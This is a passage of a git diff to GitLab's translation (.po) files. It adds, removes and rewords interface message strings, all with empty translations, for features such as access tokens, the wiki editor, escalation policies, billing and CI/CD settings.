+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34732,6 +34543,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34780,6 +34594,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -35261,12 +35084,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -35357,21 +35174,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35507,9 +35309,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35846,9 +35645,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35978,6 +35783,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36275,9 +36083,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -36287,9 +36092,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36371,9 +36182,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36463,6 +36271,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36481,9 +36292,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36517,6 +36325,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36586,7 +36397,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36727,7 +36541,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36859,6 +36673,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -37159,6 +36976,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -37168,6 +36994,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37370,7 +37199,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37391,6 +37220,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37406,16 +37238,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37430,10 +37262,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37703,6 +37541,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37742,9 +37583,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37922,21 +37760,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -38000,9 +37835,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -38162,12 +37994,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -38195,18 +38021,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38219,12 +38039,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -38294,12 +38108,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -38384,6 +38204,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38393,6 +38216,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38487,6 +38313,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38544,12 +38373,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38574,6 +38412,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38592,9 +38433,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38899,6 +38737,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38989,6 +38830,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -39072,9 +38916,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39464,6 +39305,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39500,9 +39344,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39563,7 +39404,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39644,7 +39485,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39707,6 +39551,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -40000,6 +39847,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -40102,6 +39952,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/hi_IN/gitlab.po b/locale/hi_IN/gitlab.po
index 28a23735420..2991671f111 100644
--- a/locale/hi_IN/gitlab.po
+++ b/locale/hi_IN/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: hi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:24\n"
+"PO-Revision-Date: 2021-07-01 21:06\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
